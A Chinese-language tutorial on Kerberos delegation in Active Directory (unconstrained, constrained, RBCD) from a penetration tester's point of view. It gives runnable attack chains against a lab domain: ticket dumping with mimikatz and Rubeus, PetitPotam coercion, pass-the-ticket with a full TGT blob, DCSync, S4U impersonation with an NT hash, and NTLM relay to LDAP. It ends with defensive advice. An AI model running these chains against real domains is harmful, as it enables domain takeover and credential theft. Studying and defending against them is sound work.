什么是委派?
在实际的企业环境中,服务之间经常需要代表用户去访问另一个服务。
最典型的场景是前端 Web 服务访问后端数据库:
用户
└─► Web 服务器(以用户身份)─► 数据库服务器
用户先通过 Kerberos 认证登录了 Web 服务器,但 Web 服务器需要用这个用户的身份去数据库查数据,而不是用自己服务账户的身份。这样数据库才能基于用户身份做权限控制,而不是”Web 服务账户能访问所有数据”。
这种”服务 A 代表用户 B 去访问服务 C”的能力,在 Kerberos 中通过委派(Delegation)机制实现。
委派本质上是一种被授予的信任:域管理员明确允许某个账户(通常是服务账户或机器账户)以其他用户的身份向其他服务申请票据。
委派的三种类型
Active Directory 中有三种委派机制,从老到新依次是:
| 类型 | 引入版本 | 配置方 | 委派范围 |
|---|---|---|---|
| 非约束委派(Unconstrained Delegation) | Windows 2000 | 域管理员 | 服务账户可持有来访用户的 TGT,以该用户身份访问域内任意服务 |
| 约束委派(Constrained Delegation) | Windows 2003 | 域管理员 | 服务账户只能以来访用户身份访问管理员预先指定的服务 |
| 基于资源的约束委派(RBCD,Resource-Based Constrained Delegation) | Windows 2012 | 目标资源所有者 | 目标资源自行决定允许哪些账户代表用户来访问自己 |
这三种机制的核心差异在于:谁来决定”允许谁代表谁访问什么”。
- 非约束委派:服务账户一旦收到用户的访问请求,就能拿着该用户的 TGT 以他的身份去访问域内任意服务,完全不受限制。危险在于”任意”——攻击者只要控制了这台主机,就能将所有来访用户的身份偷走。
- 约束委派:服务账户只能以来访用户的身份,访问管理员事先列明的特定服务(比如只能访问
CIFS/fileserver),不能越界。 - RBCD:权力从”发起端”转移到”目标端”——目标资源在自己的对象属性上写明”我只允许账户 A 代表用户来访问我”,而这个配置不需要域管来做。
关于配置委派的账户类型:三种委派都既可以配置在机器账户上(如文件服务器
FILESVR$),也可以配置在用户账户(服务账户)上(如websvc、svc_sql)。RBCD 中”被允许向目标发起委派的账户”在理论上也不限于机器账户,用户账户同样可以填入msDS-AllowedToActOnBehalfOfOtherIdentity。但有一个硬性前提:发起委派的账户必须注册了 SPN,因为 S4U2Self 的核心是”服务向 KDC 申请票据”,KDC 必须能通过 SPN 找到该账户,否则直接返回KDC_ERR_S_PRINCIPAL_UNKNOWN。那普通域账户能不能自己加个 SPN 解决这个问题?不能。写
servicePrincipalName属性需要域管权限,或者对自身对象有GenericWrite/WriteProperty(针对 SPN)——而普通域用户对自己的账户对象没有这个权限。这就是为什么攻击场景里几乎总是用机器账户:机器账户加域时会自动注册
HOST/和RestrictedKrbHost/等 SPN,天生满足条件;再加上普通域用户可以通过ms-DS-MachineAccountQuota自建机器账户,整条 RBCD 攻击链从一个普通域账户出发即可完成,不需要任何额外权限。
非约束委派
工作原理
非约束委派(Unconstrained Delegation)是最早期的委派形式,标志位体现在用户账户控制属性 userAccountControl 的 TRUSTED_FOR_DELEGATION(0x80000)位。
为什么用户访问非约束委派主机时,主机会缓存 TGT 而不只是 ST?
正常的 Kerberos 流程中,用户只需向服务出示 ST,服务不会拿到 TGT。非约束委派在这里做了一个特殊处理:当用户向 KDC 申请访问某个非约束委派服务的 ST 时,KDC 会在 TGS 响应中额外附上一张用户的 Forwardable TGT,一起发给用户客户端。用户客户端随后在 AP-REQ 阶段把 ST 和这张 TGT 一同发送给服务。服务收到后,将这张 TGT 缓存在本机 LSASS 中。

这个设计非常宽松——服务账户持有的是用户的完整 TGT,理论上可以用它向 KDC 申请访问域内任何资源的 ST,完全不受限制。
GUI 配置
在”Active Directory 用户和计算机”(dsa.msc)中,打开机器或用户账户的属性,在”委派”选项卡中选择:
信任此计算机来委派任何服务(仅 Kerberos)
此选项对应
userAccountControl中的TRUSTED_FOR_DELEGATION标志位。

谁默认配置了非约束委派
域控制器(DC)默认启用非约束委派。
原因是 DC 需要支持 Kerberos 转发(Delegation)场景中最广泛的用途,历史上的域功能和某些服务(如分布式文件系统 DFS)都依赖 DC 持有可转发票据。这是一个历史遗留设计,并非安全上的最佳实践。
因此,对域控发起的非约束委派利用本质上没有意义——DC 本身就已经是最高价值目标,而且 DC 的 LSASS 里天然就有大量高权限票据。真正危险的是企业中其他服务器也被不必要地配置了非约束委派。
攻击场景一:从非约束委派主机中提取票据
前提:攻击者已经获得了配置非约束委派的服务器(如文件服务器、Web 服务器)的本地管理员权限。
由于任何用户访问该服务器时,其 TGT 都会被缓存在 LSASS 中,攻击者可以直接 dump 内存获取。如果等待的时间足够长,或者使用强制认证手段触发管理员账户来访问,就能获取高权限 TGT。
# 使用 impacket 的 ticketer 或 mimikatz 从 LSASS 导出缓存的票据
# Mimikatz
sekurlsa::tickets /export
# 导出后用 Rubeus 查看
Rubeus.exe triage
Rubeus.exe dump /luid:0x... /nowrap
攻击场景二:结合强制认证(Printer Bug / Coercion)
前提:攻击者控制了一台配置了非约束委派的机器(SRV01),但手里没有域管账户。
思路是:想办法让域控的机器账户(DC01$)主动来访问 SRV01。根据非约束委派的原理,DC01$ 一来访问,它的 TGT 就会被缓存在 SRV01 的 LSASS 里。DC01$ 是域控的机器账户,它的 TGT 等同于域控本身的身份,拿到它就能发起 DCSync,把全域的密码哈希全部导出。
强制认证(Coercion)是指利用各种 Windows 协议特性,强迫目标机器主动向攻击者发起认证。最经典的是 Printer Bug(MS-RPRN):Windows 的打印后台处理程序(Spooler 服务)提供了一个 RPC 接口,调用它可以要求任意一台开启了 Spooler 服务的机器向指定地址发起 Kerberos 认证回调。

相关工具:
- 强制认证:
printerbug.py、PetitPotam、Coercer - 监听并捕获票据:
Rubeus.exe monitor /interval:5 /filteruser:DC01$ - 导出票据并使用:
Rubeus.exe ptt
在 Kali 上执行 PetitPotam 时,必须使用
win10-5u的主机名(FQDN),绝对不能用 IP。让 DC 能够通过 DNS 解析并识别到它的 SPN,从而触发 Kerberos 认证。原因:当你在 Kali 上运行 PetitPotam 时,如果指定的是
win10-5u的 IP 地址(192.168.147.130),DC 无法通过 IP 地址去请求 Kerberos 票据,它会自动降级使用 NTLM 协议去连接win10-5u。结果:由于走的是 NTLM,DC 根本不会向
win10-5u发送 TGT(Kerberos 票据)。Rubeus 只能监控 Kerberos 流量,自然什么都收不到。
# 1. 在非约束委派主机上启动票据监听
Rubeus.exe monitor /interval:5 /filteruser:DC01$
# 2. 从攻击机触发 DC 向非约束委派主机发起认证
python3 PetitPotam.py -u attacker -p Bb123456 -d testjd.local win10-1.testjd.local dc01.testjd.local
# ↑ 非约束委派主机(使用) ↑ DC
# 3. Rubeus monitor 捕获到 DC01$ 的 TGT 后,注入当前会话
C:\Users\shule\Desktop>Rubeus.exe ptt /ticket:doIFhDCCBYCgAwIBBaEDAgEWooIEjDCCBIhhggSEMIIEgKADAgEFoQ4bDFRFU1RKRC5MT0NBTKIhMB+gAwIBAqEYMBYbBmtyYnRndBsMVEVTVEpELkxPQ0FMo4IERDCCBECgAwIBEqEDAgECooIEMgSCBC66NvuHUFjfI5nvL6e380pxnCDkS8lv6jw0wSwMo1zGcqXyP355vcSejgCZ4d+ve7CSK5d9Xl2jzT5OJoybZbYjKwavtd+0LtafqGdSnZBAwKbFfSz/tfZx3b2WyS7wCU12rBDyhqosEcLyTUv7vLHsxSzoHoWDWD3/+05cfWdd83PeoamQr3YCE1njHjFZ6xUufqpwz2zMEhhkfZkza1ZkCXt4WSsx+kWEsOFIBt3v/ieWCtwGt5Hq6b/vbSMDMVhKuJV0p7HKeWVVHjxNL3MFa+zlZl6bmeiYt6W6b3F4KxyPd4FnvudT3HHcHrxAkDoR7DFaXLJJP76pUQKL+eC8IpTSdRC8LotVBvS+Xp8Cw3Ajf5J7SbntyNn0rcqzMAP88to7x3ZAr6GhaZI+TSH7LbjvkD5HGlkJ2iCsbqK8hxdTC8tBRMBtnYOw7HBX4lpiAyaqlq/NFsH/SnYzM6I5Voj0WGFAEmGuP1fKk5IbQ74IDPtzr6gOM8pfcYhzfbFMunQAWeN8tvd09M4CLuyUAkcGtVTXjzr3Hvs1VM23+jVHdhIyd/xREs0Pvsr87mAcJ6fsh6G5F98dKCVj6Oabfm/NmEPT14apkHgkM9dGQ1C4oAIrMN0CJLkF8vjRs9A3mxnW/3/vM9dPir2d4myBBIGbFFlBoABdxpUEewh00c3KNtFkh9XSgeXd6rFXlR8dBsxNcNBbNGgKlBUiGUMlfeFl6RiaTtse3k8klY11Q4LnGpKm98DYURa64lKUdI2WYU3fKdBj6alr4X6a2FW3O/JHeD+IlsrOJQd2555ThC2bqO6asE9wYAlPXXr9wqeO/hfu5Y/IMc9oZWGCJKZcuIOqzxDSgMo7VQV9nNLFjekFLodXflZuGX6+IqqkS8U2V7D6ePNNE7M7ZasRKbm73FMmCS1ZEcDVGMDAfQhZ2Q1yxeQl/0iTIAzm+4ojoihCGcg7dMA4E7Xnirnlt/7+wUaNt/L///fwgRTLvJNZ0H8JRwgPfWw/UO4MKdxgYzXkZquKtid+omng7z7JQWPWQsOegj5+Lv9hjs2I/k3KvNng9AjWhG4Yb9P+j1BfcpDZNypf8MlOd/lQjXMaK93hjxyTy5b0PEV3r7QIxaTWtNX0+dPEbg/fGUGq/++LrFcmdlbQuJRwKnp677oQzsHcrUSOYiTrrmRpD5piRNpAx7XUdKcSukKLyV2Zp0vR62NSMxZCmp1bBPVzUZzIRdjNlopftDhLd/bUE6Yg+UKpvHTyc+Pr+UBZTvDI5qmfKj7ZN1P8muONnJyuNs2R3etlJliqcpIHmDFqO0s3VP0BI/FO1zVoy8nOrpMhzM3IAbHnqMV3rXNCZ5x8Wtdm6q0mVMkWqmRIOrSLB7UFphSs8djoYRxUZcH3CQYYfVai57bCPzswxg78d14L3ZffDKOB4zCB4KADAgEAooHYBIHVfYHSMIHPoIHMMIHJMIHGoCswKaADAgESoSIEINDe2wDddKk1KY4kPtgKoPYsQGqlQN5RP+nFEaqaUA7poQ4bDFRFU1RKRC5MT0NBTKISMBCgAwIBAaEJMAcbBURDMDEkowcDBQBgoQAApREYDzIwMjYwNjE5MDY0NDE3WqYRGA8yMDI2MDYxOTE2NDM0MlqnERgPMjAyNjA2MjYwNjQzNDJaqA4bDFRFU1RKRC5MT0NBTKkhMB+gAwIBAqEYMBYbBmtyYnRndBsMVEVTVEpELkxPQ0FM
或者 base64 -d dc01.b64 > dc01.kirbi;impacket-ticketConverter dc01.kirbi dc01.ccache;export KRB5CCNAME=dc01.ccache
# 4. 利用 DC01$ 的 TGT 发起 DCSync
impacket-secretsdump -k -no-pass testjd.local/DC01\[email protected]


S4U 扩展:约束委派与 RBCD 的底层机制
非约束委派的工作方式很直白——直接转发 TGT。但约束委派和 RBCD 需要一套更精细的机制来实现”以用户身份访问指定服务”,这套机制叫 S4U(Service for User),是微软对 Kerberos 协议的扩展,包含两个子协议:
S4U2Self(Service for User to Self)
先回答”服务账户是什么”:服务账户既可以是用户账户(如 websvc),也可以是机器账户(如 APPSRV$),区别只是谁在运行这个服务。硬性前提是它必须注册了 SPN——KDC 用 SPN 来识别”这是一个服务账户”,没有 SPN 的账户发出 S4U2Self 请求会直接被 KDC 拒绝(KDC_ERR_S_PRINCIPAL_UNKNOWN),后续的 S4U2Proxy 也无从谈起。
S4U2Self 解决的是这样一个场景:用户 Bob 通过非 Kerberos 方式(如 NTLM、表单登录、证书认证)登录了前端 Web 服务,这时 Web 服务的账户手里没有任何 Bob 的 Kerberos 票据,但它接下来需要以 Bob 的身份去访问后端数据库,而后端数据库需要看到一张合法的 Kerberos ST。
S4U2Self 允许服务账户直接去 KDC “自行补票”,即使目标用户没有真的访问过:

这张 ST 里写的是”Bob 要访问 websvc”——目标服务是 websvc 本身,并不是最终的后端数据库。它的作用是作为 Bob 身份的”凭证”,交给 S4U2Proxy 继续使用。
关键细节:S4U2Self 返回的这张 ST,其
forwardable标志位是否为 1,要分场景讨论:
– 约束委派(Protocol Transition):账户有TRUSTED_TO_AUTH_FOR_DELEGATION标志时,KDC 会把forwardable置为 1,S4U2Proxy 才能继续走。
– RBCD:KDC 不要求入参的 ST 是forwardable=1,因此即便账户没有TRUSTED_TO_AUTH_FOR_DELEGATION,S4U2Self 拿到forwardable=0的票据也能继续用于 S4U2Proxy——这是 RBCD 与传统约束委派在机制上的重要区别,也是 RBCD 攻击更容易构造的原因之一。
S4U2Proxy(Service for User to Proxy)
S4U2Proxy 是真正完成”代理访问”的那一步。服务账户拿着 S4U2Self 获取的那张 ST(Bob→websvc),再次去找 KDC:

这张新的 ST 里写的是”Bob 要访问 CIFS/fileserver”——这才是 websvc 最终要拿去访问文件服务器的票据。文件服务器收到后认为是 Bob 本人在访问。
KDC 在处理 S4U2Proxy 时会做不同的权限检查,取决于委派类型:
| 委派类型 | KDC 检查什么 |
|---|---|
| 约束委派 | 目标服务 SPN(如 CIFS/fileserver)是否在 websvc 的 msDS-AllowedToDelegateTo 列表里 |
| RBCD | websvc 的 SID 是否在 fileserver 对象的 msDS-AllowedToActOnBehalfOfOtherIdentity DACL 里 |
约束委派
工作原理
约束委派(Constrained Delegation)是 Windows Server 2003 引入的改进,通过明确限制委派目标来收紧安全边界。
约束委派有两种形式,对应两个不同的 UAC 标志和配置方式:
仅 Kerberos(KCD,Kerberos Constrained Delegation)
账户通过 S4U2Proxy 流程申请委派票据,但不能使用 S4U2Self。这意味着:前端服务必须手里持有一张用户真实的、forwardable=1 的 Kerberos ST,才能继续委派;如果用户通过非 Kerberos 方式登录(如 NTLM),前端服务就拿不到 forwardable 票据,委派会失败。
从攻击角度看,”仅 Kerberos”约束委派难以直接利用。攻击者即使拿到了该账户的凭据,也无法凭空为任意用户(如 Administrator)补票,必须等到一个真实用户通过 Kerberos 认证并且票据可转发,才能以那个用户身份去委派。实际渗透中这种场景不容易可控。
使用任何身份验证协议(Protocol Transition)
在 UAC 中额外设置 TRUSTED_TO_AUTH_FOR_DELEGATION(0x1000000)标志。这个标志开启了 S4U2Self 的完整权限:服务账户可以无需任何用户真实认证,直接用 S4U2Self 为域内任意用户(包括域管 Administrator)构造一张票据,再用 S4U2Proxy 访问被允许的服务。
从攻击角度看,这才是约束委派中真正危险的配置。只要拿到了账户的凭据(密码或 NT Hash),就可以立即以任意用户身份访问该账户被委派的服务,无需等待真实用户登录。getST.py -impersonate Administrator 走的就是这条路。
GUI 配置
在 dsa.msc 账户属性的”委派”选项卡中:
-
仅信任此计算机来委派指定服务(U)仅使用 Kerberos(K)
→ 对应msDS-AllowedToDelegateTo有值 + 无TRUSTED_TO_AUTH_FOR_DELEGATION -
仅信任此计算机来委派指定服务(U)使用任何身份验证协议(N)
→ 对应msDS-AllowedToDelegateTo有值 + 有TRUSTED_TO_AUTH_FOR_DELEGATION

完整的 S4U 委派流程
以”Web 服务账户 websvc 配置了协议过渡,被允许委派到 CIFS/fileserver“为例,完整走一遍:

如果 websvc 配置的是仅 Kerberos(无 TRUSTED_TO_AUTH_FOR_DELEGATION),则第 2 步的 S4U2Self 不可用,websvc 只能等 Bob 自己用 Kerberos 真实登录后,持有 Bob 送来的 forwardable=1 的 ST,才能进行第 3 步。
攻击场景:获取配置约束委派的账户凭据后的提权
前提:攻击者拿到了配置了约束委派的服务账户的凭据(密码或 NT Hash)。
这里两种子类型的利用难度差异很大:
-
有
TRUSTED_TO_AUTH_FOR_DELEGATION(使用任何身份验证协议):拿到凭据即可直接利用。服务账户可以用 S4U2Self 为任意用户(包括 Administrator)构造票据,再用 S4U2Proxy 访问被委派的服务,整个过程完全可控。 -
无
TRUSTED_TO_AUTH_FOR_DELEGATION(仅 Kerberos):无法直接利用,S4U2Self 拿到的票据forwardable=0,S4U2Proxy 会拒绝。必须等到一个真实用户通过 Kerberos 认证该服务且票据可转发,才能继续委派,实际攻击场景较少。
getST.py 的 -impersonate 参数走的是完整的 S4U2Self + S4U2Proxy 流程,因此只对有 Protocol Transition 标志的账户有效:
# 查询域内配置了约束委派的账户
impacket-findDelegation testjd.local/attacker:Bb123456 -dc-ip 192.168.244.131
# 使用 getST.py,以域管 Administrator 的身份申请访问 CIFS/dc01 的票据
# 前提:win10-1$ 必须有 TRUSTED_TO_AUTH_FOR_DELEGATION 标志
impacket-getST testjd.local/'win10-1$' -spn cifs/dc01.testjd.local -impersonate Administrator -dc-ip 192.168.244.131 -hashes :afb86a81e9dec0f6a83005a7afdfcdde
# 环境变量注入票据
export KRB5CCNAME=Administrator@[email protected]
impacket-wmiexec -k -no-pass dc01.testjd.local

关于 “Protected Users” 组的限制:被加入 Protected Users 安全组的账户,其票据的 forwardable 标志会被强制清零,无法被用于委派。对于”仅 Kerberos”约束委派来说,Protected Users 账户的票据拿到后直接无法继续委派;对于”协议过渡”来说,S4U2Self 伪造的票据不受此限制(因为是服务账户自己构造的,不是用户真实票据),所以 Protocol Transition 并不能被 Protected Users 完全防御。
基于资源的约束委派(RBCD)
与传统约束委派的根本区别
RBCD 是 Windows Server 2012 引入的新机制,它颠覆了传统委派”由配置方决定”的思路:
| 传统约束委派 | RBCD | |
|---|---|---|
| 配置位置 | 发起委派的账户上(msDS-AllowedToDelegateTo) |
目标资源上(msDS-AllowedToActOnBehalfOfOtherIdentity) |
| 配置权限 | 需要域管理员 | 只需对目标对象有 GenericWrite |
| 谁说了算 | 域管理员决定”账户 A 可以委派到哪里” | 目标资源自己决定”允许谁委派过来” |
msDS-AllowedToActOnBehalfOfOtherIdentity 属性存储的是一个 Security Descriptor(安全描述符),其中的 DACL 列出了被允许发起委派的账户 SID。
RBCD 的 S4U 流程
攻击者已经:控制了机器账户 EVIL,把 EVIL 的 SID 写进了 TARGET$ 的 msDS-AllowedToActOnBehalfOfOtherIdentity。现在走 S4U:

攻击场景:利用 GenericWrite 权限完成 RBCD 提权
这是 RBCD 在渗透测试中最核心的利用路径,条件简单,在企业环境中极为常见。
前提条件:
1. 攻击者对某台目标机器对象(TARGET$)拥有 GenericWrite 或 WriteProperty(针对 msDS-AllowedToActOnBehalfOfOtherIdentity)
2. 攻击者控制一个拥有 SPN 的账户(可以用 MachineAccountQuota 新建机器账户)
利用步骤:
第一步:确认 MachineAccountQuota 并创建机器账户
# 查询 MachineAccountQuota(默认为 10,非 0 即可利用)
impacket-findDelegation testjd.local/attacker:Bb123456 -dc-ip 192.168.244.131
# 检查 MachineAccountQuota
ldapsearch -x -H ldap://192.168.244.131 \
-D "[email protected]" -w "Bb123456" \
-b "DC=testjd,DC=local" -s base \
"(objectClass=*)" ms-DS-MachineAccountQuota
# 创建机器账户
impacket-addcomputer testjd/administrator:Aa123456 -dc-ip 192.168.244.131 -computer-pass Aa123456 -computer-name 'test$'
第二步:写入 RBCD 配置
# 向 TARGET$ 的 msDS-AllowedToActOnBehalfOfOtherIdentity 写入 EVIL$ 的 SID
impacket-rbcd testjd.local/attacker:Bb123456 \
-delegate-from 'test$' \
-delegate-to 'dc01$' \
-action write \
-dc-ip 192.168.244.131
第三步:执行 S4U,获取目标机器上任意用户的服务票据
impacket-getST testjd.local/'test$':'Aa123456' \
-spn cifs/dc01.testjd.local \
-impersonate Administrator \
-dc-ip 192.168.244.131
第四步:使用票据访问目标
export KRB5CCNAME=Administrator@[email protected]
impacket-wmiexec -k -no-pass dc01.testjd.local
攻击场景:NTLM Relay → RBCD(无需本地管理员)
另一个高价值的 RBCD 利用链结合了 NTLM Relay。
协议限制说明:SMB → LDAP 的 Relay 受到一条重要限制——同机 Relay 被微软封堵(目标不能和认证来源是同一台机器),且 SMB 认证默认带有 MIC(Message Integrity Code)签名,无法直接中继到 LDAP。实际可行的组合是利用非 SMB 的强制认证协议(如 HTTP、WebDAV、PetitPotam 的 MS-EFSRPC)来触发认证,再中继到 LDAP,或者利用 printerbug 触发的是 SMB 认证但目标 DC 没有开 SMB Signing 时中继到另一台机器的 LDAP。总结:
| 触发认证协议 | 中继目标 | 可行性 |
|---|---|---|
| SMB | LDAP(同机) | 不可行(MS 封堵) |
| SMB | LDAP(跨机,目标无 SMB Signing) | 可行 |
| HTTP / WebDAV | LDAP | 可行(无 MIC 限制) |
| MS-EFSRPC(PetitPotam) | LDAP | 可行(HTTP 通道) |
前提:域内未开启 LDAP Signing(或 LDAP Channel Binding),且可以触发目标机器向攻击者发起认证。
1. 强制目标机器 TARGET 向攻击者发起 NTLM 认证(使用 HTTP/WebDAV 或跨机 SMB Coercion)
2. ntlmrelayx 将认证中继到 LDAP,以 TARGET$ 的身份登录
3. TARGET$ 对自身的 msDS-AllowedToActOnBehalfOfOtherIdentity 有写权限
ntlmrelayx 自动向该属性写入攻击者机器账户的 SID
4. 执行 S4U 获取 TARGET 上任意用户的 ST,完成提权
# 启动 ntlmrelayx,中继到 LDAP 并自动执行 RBCD 攻击
ntlmrelayx.py -t ldaps://dc01.testjd.local \
--delegate-access \
--escalate-user 'EVIL$' \
-smb2support
# 使用 PetitPotam(HTTP 通道)触发 TARGET 向攻击者发起认证
python3 PetitPotam.py -u attacker -p Bb123456 -d testjd.local \
攻击者监听IP target.testjd.local
如何在域内发现委派账户
使用 impacket 的 findDelegation.py 可以一键枚举域内所有委派配置:
impacket-findDelegation testjd.local/attacker:Bb123456 -dc-ip 192.168.244.131
输出示例:
AccountName AccountType DelegationType DelegationRightsTo SPN Exists
----------- ----------- ----------------------------------- ----------------------------------- ----------
attacker Person Resource-Based Constrained DC01$ No
test$ Computer Resource-Based Constrained DC01$ No
DC01$ Computer Unconstrained N/A Yes
WIN10-1$ Computer Constrained w/o Protocol Transition cifs/dc01.testjd.local/testjd.local No
WIN10-1$ Computer Constrained w/o Protocol Transition cifs/dc01.testjd.local No
WIN10-1$ Computer Constrained w/o Protocol Transition cifs/DC01 No
WIN10-1$ Computer Constrained w/o Protocol Transition cifs/dc01.testjd.local/TESTJD No
WIN10-1$ Computer Constrained w/o Protocol Transition cifs/DC01/TESTJD No
attacker Person Resource-Based Constrained DC02$ No
ISNMNRJN$ Computer Resource-Based Constrained DC02$ No
DC02$ Computer Unconstrained N/A Yes
也可以直接用 LDAP 查询:
# 非约束委派账户(userAccountControl & 0x80000)
ldapsearch -x -H ldap://192.168.244.131 \
-D "[email protected]" -w "Bb123456" \
-b "DC=testjd,DC=local" \
"(userAccountControl:1.2.840.113556.1.4.803:=524288)" \
sAMAccountName userAccountControl
# 约束委派账户(msDS-AllowedToDelegateTo 属性存在)
ldapsearch -x -H ldap://192.168.244.131 \
-D "[email protected]" -w "Bb123456" \
-b "DC=testjd,DC=local" \
"(msDS-AllowedToDelegateTo=*)" \
sAMAccountName msDS-AllowedToDelegateTo
# 配置了 RBCD 的机器(msDS-AllowedToActOnBehalfOfOtherIdentity 属性存在)
ldapsearch -x -H ldap://192.168.244.131 \
-D "[email protected]" -w "Bb123456" \
-b "DC=testjd,DC=local" \
"(msDS-AllowedToActOnBehalfOfOtherIdentity=*)" \
sAMAccountName
三种委派的横向对比
| 非约束委派 | 约束委派 | RBCD | |
|---|---|---|---|
| 关键属性 | TRUSTED_FOR_DELEGATION(UAC 位) |
msDS-AllowedToDelegateTo + 可选 TRUSTED_TO_AUTH_FOR_DELEGATION |
msDS-AllowedToActOnBehalfOfOtherIdentity |
| 配置者 | 域管理员 | 域管理员 | 目标对象的写权限持有者 |
| 委派范围 | 任意服务 | 指定 SPN 列表 | 仅本资源 |
| 机制 | 转发 TGT | S4U2Self + S4U2Proxy | S4U2Self + S4U2Proxy |
| 攻击入口 | 控制委派主机后 dump TGT;结合 Coercion 捕获 DC TGT | 拿到配置了委派的账户凭据 | 对目标对象有写权限即可 |
| 攻击危险度 | 高(可直接获取 DC TGT) | 高(可模拟域管访问指定服务) | 中高(需要写权限,但条件宽松) |
防御建议
- 将高权限账户加入 Protected Users 组:禁止其票据被委派,从根本上阻断委派滥用路径
- 将敏感账户标记为”敏感账户,不能被委派”(账户属性 →
NOT_DELEGATEDUAC 标志) - 减少不必要的非约束委派:除 DC 外,其他服务器不应启用非约束委派;需要委派时改用约束委派或 RBCD
- 将 MachineAccountQuota 设置为 0:防止普通用户创建机器账户,封堵 RBCD 攻击的常用入口
- 开启 LDAP Signing 和 LDAP Channel Binding:阻断 NTLM Relay → RBCD 的利用链
- 定期审计委派配置:用
findDelegation.py或 BloodHound 定期检查域内是否存在不必要的委派配置